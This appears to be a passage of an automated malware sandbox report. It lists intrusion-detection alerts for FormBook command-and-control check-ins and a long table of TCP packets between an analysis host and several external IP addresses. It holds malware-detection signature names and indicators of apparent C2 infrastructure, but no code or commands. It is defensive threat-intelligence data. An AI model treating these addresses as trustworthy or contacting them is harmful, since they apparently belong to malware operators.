2024-10-19T12:59:09.146277+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50040	3.33.130.190	80	TCP
2024-10-19T12:59:12.045609+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50041	3.33.130.190	80	TCP
2024-10-19T12:59:13.710883+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50042	3.33.130.190	80	TCP
2024-10-19T12:59:16.264611+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50043	3.33.130.190	80	TCP
2024-10-19T12:59:22.826779+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50044	3.33.130.190	80	TCP
2024-10-19T12:59:25.373667+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50045	3.33.130.190	80	TCP
2024-10-19T12:59:27.045458+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50046	3.33.130.190	80	TCP
2024-10-19T12:59:29.649501+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50047	3.33.130.190	80	TCP
2024-10-19T12:59:36.817387+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50048	129.226.56.200	80	TCP
2024-10-19T12:59:39.187204+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50049	129.226.56.200	80	TCP
2024-10-19T12:59:42.151328+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50050	129.226.56.200	80	TCP
2024-10-19T12:59:44.717271+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50051	129.226.56.200	80	TCP
2024-10-19T12:59:50.927787+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50052	84.32.84.32	80	TCP
2024-10-19T12:59:53.527213+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50053	84.32.84.32	80	TCP
2024-10-19T12:59:56.064035+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50054	84.32.84.32	80	TCP
2024-10-19T12:59:58.617220+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50055	84.32.84.32	80	TCP
2024-10-19T13:00:04.340210+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50056	3.33.130.190	80	TCP
2024-10-19T13:00:07.583242+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50057	3.33.130.190	80	TCP
2024-10-19T13:00:10.114991+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	50058	3.33.130.190	80	TCP
2024-10-19T13:00:13.330521+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	50059	3.33.130.190	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 19, 2024 12:57:03.331604958 CEST	49762	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:57:03.336914062 CEST	80	49762	3.33.130.190	192.168.2.4
Oct 19, 2024 12:57:03.336987972 CEST	49762	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:57:03.347311974 CEST	49762	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:57:03.353190899 CEST	80	49762	3.33.130.190	192.168.2.4
Oct 19, 2024 12:57:04.000720978 CEST	80	49762	3.33.130.190	192.168.2.4
Oct 19, 2024 12:57:04.005402088 CEST	80	49762	3.33.130.190	192.168.2.4
Oct 19, 2024 12:57:04.005503893 CEST	49762	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:57:04.007432938 CEST	49762	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:57:04.015528917 CEST	80	49762	3.33.130.190	192.168.2.4
Oct 19, 2024 12:57:19.076302052 CEST	49843	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:19.081573009 CEST	80	49843	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:19.081655025 CEST	49843	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:19.093046904 CEST	49843	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:19.098555088 CEST	80	49843	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:19.980660915 CEST	80	49843	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:19.980705976 CEST	80	49843	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:19.980760098 CEST	49843	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:19.983298063 CEST	80	49843	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:19.983356953 CEST	49843	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:20.608316898 CEST	49843	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:21.633085012 CEST	49858	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:21.639544010 CEST	80	49858	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:21.639636040 CEST	49858	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:21.651331902 CEST	49858	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:21.656749964 CEST	80	49858	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:22.531109095 CEST	80	49858	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:22.531152010 CEST	80	49858	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:22.531219959 CEST	49858	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:22.532138109 CEST	80	49858	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:22.532193899 CEST	49858	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:23.155241013 CEST	49858	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:24.174173117 CEST	49873	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:24.179203033 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:24.179321051 CEST	49873	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:24.191217899 CEST	49873	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:24.196182013 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:24.196197987 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:24.196300983 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:24.196324110 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:24.196340084 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:24.196382046 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:24.196453094 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:24.196465969 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:24.196480036 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:25.081526995 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:25.081568003 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:25.081676960 CEST	49873	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:25.083318949 CEST	80	49873	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:25.083426952 CEST	49873	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:25.702169895 CEST	49873	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:26.721190929 CEST	49888	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:26.726074934 CEST	80	49888	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:26.726177931 CEST	49888	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:26.733472109 CEST	49888	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:26.738255024 CEST	80	49888	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:27.617151976 CEST	80	49888	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:27.617203951 CEST	80	49888	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:27.617419004 CEST	49888	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:27.618802071 CEST	80	49888	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:27.618850946 CEST	49888	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:27.620007992 CEST	49888	80	192.168.2.4	172.67.181.186
Oct 19, 2024 12:57:27.624764919 CEST	80	49888	172.67.181.186	192.168.2.4
Oct 19, 2024 12:57:32.902266026 CEST	49919	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:32.907174110 CEST	80	49919	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:32.907282114 CEST	49919	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:32.919644117 CEST	49919	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:32.925061941 CEST	80	49919	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:33.502212048 CEST	80	49919	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:33.502465963 CEST	80	49919	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:33.502532959 CEST	49919	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:34.436466932 CEST	49919	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:35.455064058 CEST	49935	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:35.460505009 CEST	80	49935	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:35.460582018 CEST	49935	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:35.471951962 CEST	49935	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:35.476887941 CEST	80	49935	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:36.075556993 CEST	80	49935	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:36.076064110 CEST	80	49935	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:36.076138020 CEST	49935	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:36.983329058 CEST	49935	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:38.003401995 CEST	49950	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:38.010214090 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.010286093 CEST	49950	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:38.022330046 CEST	49950	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:38.028836966 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.028847933 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.028856993 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.028865099 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.028875113 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.028886080 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.028893948 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.029546022 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.029553890 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.644953012 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.646564960 CEST	80	49950	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:38.646681070 CEST	49950	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:39.530169010 CEST	49950	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:40.548742056 CEST	49965	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:40.553667068 CEST	80	49965	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:40.553781986 CEST	49965	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:40.561228991 CEST	49965	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:40.566179037 CEST	80	49965	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:41.162436962 CEST	80	49965	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:41.162723064 CEST	80	49965	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:41.162826061 CEST	49965	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:41.165450096 CEST	49965	80	192.168.2.4	104.223.44.195
Oct 19, 2024 12:57:41.170335054 CEST	80	49965	104.223.44.195	192.168.2.4
Oct 19, 2024 12:57:46.200900078 CEST	49996	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:46.205924034 CEST	80	49996	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:46.206018925 CEST	49996	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:46.217314005 CEST	49996	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:46.222132921 CEST	80	49996	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:46.878372908 CEST	80	49996	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:46.915402889 CEST	80	49996	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:46.915592909 CEST	49996	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:47.733253956 CEST	49996	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:48.752000093 CEST	50012	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:48.756932974 CEST	80	50012	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:48.757025003 CEST	50012	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:48.768079042 CEST	50012	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:48.772898912 CEST	80	50012	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:49.461445093 CEST	80	50012	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:49.499473095 CEST	80	50012	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:49.499536991 CEST	50012	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:50.280272961 CEST	50012	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:51.299103975 CEST	50018	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:51.323631048 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:51.323760033 CEST	50018	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:51.334908009 CEST	50018	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:51.339869022 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:51.339879990 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:51.339893103 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:51.339945078 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:51.339955091 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:51.339972019 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:51.339982033 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:51.339991093 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:51.340002060 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:52.037790060 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:52.073067904 CEST	80	50018	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:52.075550079 CEST	50018	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:52.843013048 CEST	50018	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:53.866977930 CEST	50019	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:53.872073889 CEST	80	50019	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:53.872282982 CEST	50019	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:53.879705906 CEST	50019	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:53.884810925 CEST	80	50019	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:54.578121901 CEST	80	50019	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:54.615740061 CEST	80	50019	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:54.615906954 CEST	50019	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:54.616772890 CEST	50019	80	192.168.2.4	203.161.41.204
Oct 19, 2024 12:57:54.625040054 CEST	80	50019	203.161.41.204	192.168.2.4
Oct 19, 2024 12:57:59.645282984 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:57:59.650127888 CEST	80	50020	3.33.130.190	192.168.2.4
Oct 19, 2024 12:57:59.650192976 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:57:59.666585922 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:57:59.671456099 CEST	80	50020	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:00.290718079 CEST	80	50020	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:00.290771961 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:01.171504021 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:01.483194113 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:02.092540026 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:02.185935020 CEST	80	50020	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:02.185952902 CEST	80	50020	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:02.185966015 CEST	80	50020	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:02.186021090 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:02.186163902 CEST	50020	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:02.190450907 CEST	50021	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:02.195308924 CEST	80	50021	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:02.195379019 CEST	50021	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:02.207951069 CEST	50021	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:02.212816000 CEST	80	50021	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:02.812414885 CEST	80	50021	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:02.812515974 CEST	50021	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:03.717607975 CEST	50021	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:03.722523928 CEST	80	50021	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:04.739464998 CEST	50022	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:04.744364977 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:04.747522116 CEST	50022	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:04.758877993 CEST	50022	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:04.763930082 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:04.763945103 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:04.763969898 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:04.763983011 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:04.763997078 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:04.764249086 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:04.764261007 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:04.764317989 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:04.764329910 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:05.380330086 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:05.380413055 CEST	50022	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:06.264447927 CEST	50022	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:06.269635916 CEST	80	50022	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:07.283636093 CEST	50023	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:07.288542986 CEST	80	50023	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:07.291656017 CEST	50023	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:07.298891068 CEST	50023	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:07.303739071 CEST	80	50023	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:07.936068058 CEST	80	50023	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:07.936851978 CEST	80	50023	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:07.936908007 CEST	50023	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:07.944040060 CEST	50023	80	192.168.2.4	3.33.130.190
Oct 19, 2024 12:58:07.948867083 CEST	80	50023	3.33.130.190	192.168.2.4
Oct 19, 2024 12:58:13.966286898 CEST	50024	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:13.971446991 CEST	80	50024	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:13.971512079 CEST	50024	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:13.986521959 CEST	50024	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:13.992224932 CEST	80	50024	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:14.948312998 CEST	80	50024	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:14.950340986 CEST	80	50024	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:14.950484037 CEST	50024	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:15.132085085 CEST	80	50024	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:15.134773016 CEST	50024	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:15.498907089 CEST	50024	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:16.518951893 CEST	50025	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:16.523957014 CEST	80	50025	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:16.524068117 CEST	50025	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:16.537206888 CEST	50025	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:16.542169094 CEST	80	50025	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:17.484088898 CEST	80	50025	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:17.484107971 CEST	80	50025	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:17.485657930 CEST	50025	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:17.507009983 CEST	80	50025	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:17.507114887 CEST	50025	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:17.667673111 CEST	80	50025	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:17.667727947 CEST	50025	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:18.045660973 CEST	50025	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:19.065431118 CEST	50026	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:19.070409060 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:19.070492029 CEST	50026	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:19.082093000 CEST	50026	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:19.086929083 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:19.086988926 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:19.086997986 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:19.087006092 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:19.087138891 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:19.087198019 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:19.087207079 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:19.087223053 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:19.087323904 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:20.029829025 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:20.030311108 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:20.030369043 CEST	50026	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:20.213624001 CEST	80	50026	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:20.213689089 CEST	50026	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:20.593723059 CEST	50026	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:21.613058090 CEST	50027	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:21.617959023 CEST	80	50027	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:21.618031979 CEST	50027	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:21.626403093 CEST	50027	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:21.631225109 CEST	80	50027	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:22.594252110 CEST	80	50027	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:22.594269991 CEST	80	50027	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:22.594449043 CEST	50027	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:22.778184891 CEST	80	50027	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:22.781888008 CEST	50027	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:22.782716036 CEST	50027	80	192.168.2.4	221.128.225.57
Oct 19, 2024 12:58:22.787497044 CEST	80	50027	221.128.225.57	192.168.2.4
Oct 19, 2024 12:58:27.867402077 CEST	50028	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:27.872241974 CEST	80	50028	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:27.872315884 CEST	50028	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:27.886468887 CEST	50028	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:27.891267061 CEST	80	50028	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:29.004385948 CEST	80	50028	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:29.004410028 CEST	80	50028	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:29.004421949 CEST	80	50028	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:29.004431009 CEST	80	50028	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:29.004493952 CEST	50028	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:29.004607916 CEST	50028	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:29.004755020 CEST	80	50028	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:29.004858017 CEST	50028	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:29.389502048 CEST	50028	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:30.409105062 CEST	50029	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:30.413989067 CEST	80	50029	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:30.414062023 CEST	50029	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:30.428373098 CEST	50029	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:30.433374882 CEST	80	50029	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:31.054749966 CEST	80	50029	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:31.054819107 CEST	80	50029	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:31.054944038 CEST	50029	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:31.055402040 CEST	80	50029	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:31.055505991 CEST	50029	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:31.936460018 CEST	50029	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:32.957820892 CEST	50030	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:32.964037895 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:32.964167118 CEST	50030	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:32.979406118 CEST	50030	80	192.168.2.4	199.59.243.227
Oct 19, 2024 12:58:32.984477043 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:32.984503031 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:32.984761953 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:32.984772921 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:32.984781981 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:32.984790087 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:32.984800100 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:32.984808922 CEST	80	50030	199.59.243.227	192.168.2.4
Oct 19, 2024 12:58:32.984826088 CEST	80	50030	199.59.243.227	192.168.2.4
